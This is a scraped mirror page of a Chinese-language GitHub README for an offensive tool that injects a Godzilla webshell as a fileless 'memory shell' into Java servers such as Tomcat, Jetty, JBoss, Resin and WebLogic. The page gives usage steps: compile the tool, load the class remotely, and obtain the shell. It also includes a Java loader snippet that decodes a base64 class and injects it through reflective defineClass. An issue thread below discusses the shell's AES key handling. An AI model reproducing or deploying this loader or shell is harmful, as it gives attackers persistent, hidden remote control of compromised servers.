Giter Club home page Giter Club logo

godzillamemoryshellproject's Introduction

GodzillaMemoryShellProject

哥斯拉内存Shell项目

当你拥有一个可以加载任意Class的能力,你就可以编译此项目,编译对应容器的Class 当Class被加载之后,你将获得一个哥斯拉的内存shell,你连接时可以填写任意URI路径

姊妹项目(.NET/IIS内存Shell):https://github.com/BeichenDream/GodzillaMemoryShellProject.NET/

  1. 选择JDK版本
  2. 编译此项目
  3. 找到对应容器编译出来的Class
  4. 在远程加载该Class
  5. 获得内存Shell
  

目前支持以下容器 几乎支持容器的所有版本(欢迎pull更多容器),你无需关注上下文,这一切哥斯拉内存Shell将会自动搜寻并完成注入 在这个项目你会看到很多的动态代理,这是哥斯拉内存Shell为了兼容javax和jakarta api规范

  1. Tomcat 5 - 10
  2. Jetty 7 - 11.0.11
  3. JBoss 8 - 27.0.0
  4. Resin 3 - 4.0.66
  5. Weblogic 10.3.6 - weblogic 14

如何调用哥斯拉内存shell

            //哥斯拉内存shell的class Base64
            String godzillaMemShellClassBase64 = "...........";
            //base64 解码
            byte[] classBytes =  Base64.getDecoder().decode(godzillaMemShellClassBase64);
            //获得上下文的ClassLoader
            ClassLoader loader = Thread.currentThread().getContextClassLoader();
            //反射获得defineClass方法 用来定义Class
            Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
            //使得defineClass方法可访问
            defineClassMethod.setAccessible(true);
            //调用defineClass方法 从class字节码创建Class
            Class clazz = (Class) defineClassMethod.invoke(loader,classBytes,0,classBytes.length);
            //创建哥斯拉内存shell实例 哥斯拉内存Shell在此处自动注入
            clazz.newInstance();
            

注入内存shell/查找上下文很慢?

可以根据目标环境减小maxDetch的值 image

自动搜寻上下文

image

引用

https://github.com/feihong-cs/memShell

godzillamemoryshellproject's People

Contributors

beichendream avatar yyhylh avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar

godzillamemoryshellproject's Issues

AesBase64TomcatListenerShell的密钥问题

问题:
内存马的加解密key和哥斯拉中生成的key不一致。导致在内存马和客户端填入的key不一致的情况下无法运行。

原因:
哥斯拉在编码数据发送前,会在shells.cryptions.JavaAes.JavaAesBase64类的init方法中使用ShellEntity的getSecretKeyX方法将用户填入的key进行md5哈希

public String getSecretKeyX() {
    return functions.md5(this.getSecretKey()).substring(0, 16);
}

但是在AesBase64TomcatListenerShell的run函数的解密逻辑中,未对内存马中的key参数进行md5,而是进行aes解密。因此在实际使用中,哥斯拉客户端填写一个key,在内存马中的key需要填写成该key在经过getSecretKeyX()后的对应值才可以正常解密。不知道这个是作者的设计还是bug

      if (value != null) {
          byte[] data = base64Decode(value);
          data = aes(data, false);
          if (data != null && data.length > 0) {

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.